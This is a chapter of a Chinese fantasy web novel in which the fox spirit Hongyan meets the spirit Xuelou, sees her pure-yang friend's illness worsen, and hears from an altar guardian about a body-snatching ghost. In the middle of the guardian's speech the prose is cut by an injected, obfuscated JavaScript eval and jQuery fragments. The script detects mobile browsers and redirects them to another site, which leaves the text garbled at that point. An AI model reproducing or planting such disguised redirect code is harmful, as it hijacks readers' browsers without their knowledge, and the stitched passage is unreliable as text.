44. 寻金行石(五)
作品:《把灭族仇人的下属拐跑了》 赵府西厢房内。
她盘膝坐于床榻,双目紧闭,指尖凝着一缕红光,周身萦绕着赤红光晕,调和体内灵力相融。
待灵力归位,她缓缓睁眼,便见跟前一道朦胧身影,凝聚成人形。
那是一位身着白狐裘的女子,肤白胜雪,眉眼间带着魅惑,却又透着清冷,正是狐灵仙雪楼。
她笑意盈盈地看着虹嫣,赞许道:“不错,你终是突破了心障,能容我凝出虚影与你相见了。”
虹嫣虽早有预料,却难免还是感到诧异。
她定了定神,问道:“前辈居于我体内,每日受灵力压制,难道不觉得压抑吗?”
“压抑?”雪楼嗤笑一声,“我曾被囚于冰窖数载,日夜与寒冰为伴,早已尝尽昏无天日之苦。如今这点压抑,与冰窖之苦相比,又算得了什么?”
她转身往前走了几步:“我如今唯一的念想,便是亲手刃了那薄情郎,将他碎尸万段,死无葬身之地!”
可虹嫣亦恨透了妖王,又何尝不想将他碎尸万段?
她握紧拳头:“唯有报仇的念头,能让我撑着走下去。”
“有执念,便有动力。”雪楼转过身来,目光落在虹嫣身上,“如今我可化形见你,往后若需相助,只需心中唤我,我自会现身。”
她顿了顿,又补充道,“只是我法力仍被你体内灵力压制,不过只要我主动现身,便可助你法力倍增,应对危难。”
虹嫣闻言,心中一暖。
她知晓雪楼虽心怀仇恨,却并无害人之心,反而多次助她。
她再次拱手:“多谢前辈坦诚相告,也多谢前辈此前的暗中相助。”
雪楼摆了摆手:“你我如今共用一体,说这些客套话反倒生分。你只需记得,若有一日需对付那负心汉,我定会倾尽全力助你。”
话音落,雪楼虚影散去,房间又只剩下她一人。
“前辈放心,若有那一日,我定不会让你失望。”
未等虹嫣整理思绪,房门被一下推开。
金羽步履虚浮地走了进来,她满头大汗,满脸写着疲惫不堪,往日亮晶晶的眼眸都黯淡了。
近来赵始初体寒愈甚,又频遭梦魇纠缠,唯有金羽渡入自身灵力方能稍缓。
她修为本就不高,全靠体内金行石维系灵力,若非这奇石滋养,怕是早已油尽灯枯。
金羽连鞋都未脱,一头栽倒在床榻上,片刻便昏睡过去。
虹嫣看着她熟睡中仍皱着的眉头,到了嘴边的叮嘱咽了回去,起身将被子盖在了她的身上。
恰在此时,厢房外忽地亮起昏黄提灯光,伴随着家仆们的呼喊声。
“不好了不好了!公子他……公子又梦魇了!”
又?
虹嫣心头一紧,快步推门而出。
她连忙拉住一个正赶往赵始初房间的家仆问道:“这是出了何事?”
“不好了姑娘,公子这次比往常更重,上吐下泻不止,眼疾……眼疾还更严重了,方才竟呕出了血!”
不对,金羽方才才为赵始初渡入灵力,按说该能稳住他的气息,怎会骤然恶化至此?
虹嫣皱紧眉头,愈发觉得此事有蹊跷。
她转头望向屋内熟睡的金羽,不忍再去打扰她休息,她已损耗灵力太多,经不起折腾。
她回过头对老仆说道:“劳烦带路,我去看看。”
赵始初的卧房内,弥漫着强烈的药味与血腥气。
定睛一看,赵始初正用手撑着榻沿剧烈咳嗽,不止指缝间,连衣襟上都是血迹,咳毕便无力伏在床边。
老仆垂首立在一旁,声音哽咽:“奴才们寻了药喂下,只勉强暂缓了公子的痛楚,却查不出根源,实在不知是为何……”
虹嫣走近床榻,见赵始初已昏死过去,面色灰败。
更令她心惊的是,他周身萦绕着一丝若有似无的阴气,倒跟贾池裳散发的气息隐隐相合。
她抬眼扫视着四周,目光倏然定格在屋顶。
有人!
一道黑影正蹲在瓦檐上,看不清身形,似在窥探屋内动静。
许是察觉到她的视线,那黑衣人猛地起身,足尖一点,转身跳下瓦檐欲跑。
“站住!”
虹嫣低喝一声,不及与老仆多言,立马追了上去。
只是这黑衣人跑得极快,追至城郊荒巷,借着夜色,隐于巷口。
她赶到巷尾拐角,早已没了人影,她正懊恼着,目光瞥见地上落着一枚白玉佩,想必是黑衣人奔逃时不慎遗落。
再追已然没了任何意义。
她拾起玉佩,指尖触到玉面,一缕白色气流从白玉佩中溢出,如游丝般往巷外飘去。
怎么回事?
既如此,不妨跟着,看看到底会带她去哪儿。
虹嫣握紧玉佩,循着白气前行。
不多时,白气引着她至一处荒坡,坡上荒草遍地,藏着一个黑黢黢的地洞入口。
只是洞口窄小,成人身躯根本无法进入。
她当机立断,化作一只赤狐,纵身跃下,落地后复化成人形,尚未稳住身形,一股强烈的腐气扑面而来,呛得她捂住鼻子。
她借着白气微光往前走着,只是脚下泥土松软,险些滑倒。
行至尽头,一座残破祭坛立于中央,四边刻着模糊的复杂符文,边角布满裂痕,似是曾封印着何物。
地面散落着撕碎的黄符,符纸边缘焦黑,显然曾有过剧烈打斗。
“你是谁?竟敢擅闯此地?”身后忽地传来苍老沙哑的声音。
虹嫣转身,见一位白发垂肩的老者站在她面前,衣衫褴褛,面色枯槁,手中握着一根断裂的木杖。
她扫过四周,确认仅有老者一人,解释道:“晚辈虹嫣,跟随白玉佩的白气来到此地,不知此处是前辈看管,多有冒犯。”
说罢,她将手中白玉佩递了过去。
老者目光落在玉佩上,摇了摇头,重重地叹了口气:“这玉佩老奴并不认得,老奴乃是看管此祭坛之人。数年前,坛中封印的恶鬼破印逃脱,老奴因失职受罚,被废去全身修为,囚在此地永生看管这空坛,赎己之罪。”
“恶鬼?”虹嫣追问,“既是恶鬼作祟,为何不请捉鬼之人或道士除之?这么多年过去,纵使是厉鬼,也该魂飞魄散了。”
老者无奈地笑了一声:“此鬼异于寻常,非男非女,心思歹毒。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066371|192124||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
它靠着夺取活人的躯体为宿主苟活,可异体相融终有排斥。”
老者沉默片刻,才开口道,“但若寻得纯阳之体,夺舍成功,方能彻底摆脱阴邪,化形为人,拥有永恒肉身。只是这纯阳之体世间罕见,可遇不可求。”
纯阳之体?赵始初不就是纯阳之体吗!
见虹嫣低头沉思,他上下打量着虹嫣,“姑娘并非凡人吧?方才见你化狐形入洞,想必是狐族之人?”
虹嫣并未否认,坦然颔首:“前辈好眼力。若此鬼当真为祸,想必妖族之力她也有所忌惮吧?”
若是贾池裳真为鬼,她早该对自己跟金羽下手了,难得是因为害怕?
老者抚了抚胡须,似是赞同:“姑娘所言不假,可关键在于,它若真苟活于世,也是附在凡人之躯内,若妖出手除鬼,必伤及宿主躯体,等同间接害了凡人性命,巡界妖使定会有所察觉。”
“巡界妖使是什么?”
“没想到姑娘竟不知。”老者面露诧异,解释道,“妖类擅伤凡人,巡界妖使便会出动,轻则废去修为,重则毁丹断骨、打回原形。”
看来,看来入人间行事,需恪守规矩。
她对老者拱手行礼:“多谢前辈告知。”
随后话锋一转,语气直白,“只是晚辈此番前来,就是要确认我那朋友身上的阴气是否由它所致。”
她虽然不知道那个黑衣人是谁,但引她来到此地,就说明赵始初肯定已被恶鬼盯上了。
老者见她这般说,腰杆挺直,语气难掩激动:“姑娘这般说,便是有意追查此鬼了?”
虹嫣颔首,道出心中疑惑:“晚辈曾在一凡人女子身上,察觉到阴气,不知是被附身还是与鬼有所勾结。曾以‘捉鬼’试探,那女子却是心虚。”
老者眼前一亮,等了这么久,终于让他再次知晓这恶鬼的消息。
“这么看来,那女子与恶鬼定然脱不了干系。”
虹嫣似是无意间谈及,“晚辈那位朋友便是有纯阳之体的凡人,近来身子孱弱、梦魇频频,莫非是被这恶鬼暗中窥探,意图夺舍?”
“那便是了!恶鬼盯上后,必会先以阴气扰乱心神,待其元气大伤再趁机夺舍。”
他顿了顿,刻意将关键信息缓缓道出,“但恶鬼若想夺舍纯阳之体,需保宿主躯体完整无虞。”
两人对视一眼,无需多言,心中皆有了猜测。
老者沉默良久,从怀中掏出一枚青铜符牌。
表面虽已氧化发黑,却仍泛着微弱的金光。
“这枚驱邪符牌,乃老奴当年看管祭坛时所用,既能驱邪,亦可逼出附身恶鬼的原形。”
他将符牌递向虹嫣,见虹嫣仍在犹豫,直接说出她心中所担忧的,“这无疑能帮你那有纯阳之体的朋友驱除阴气,稳住心神。”
也罢,虹嫣伸手接下,将它放在怀中。
老者见状,长长舒了口气,悬着的心终于放下:“多谢姑娘。姑娘若需相助,再来此处找我即可。”
虹嫣颔首:“晚辈知晓了。事不宜迟,晚辈先行告辞。”
见虹嫣离开的身影,老者喃喃自语:但愿此举,能了结这桩因果,亦能让自己早日脱离苦海。

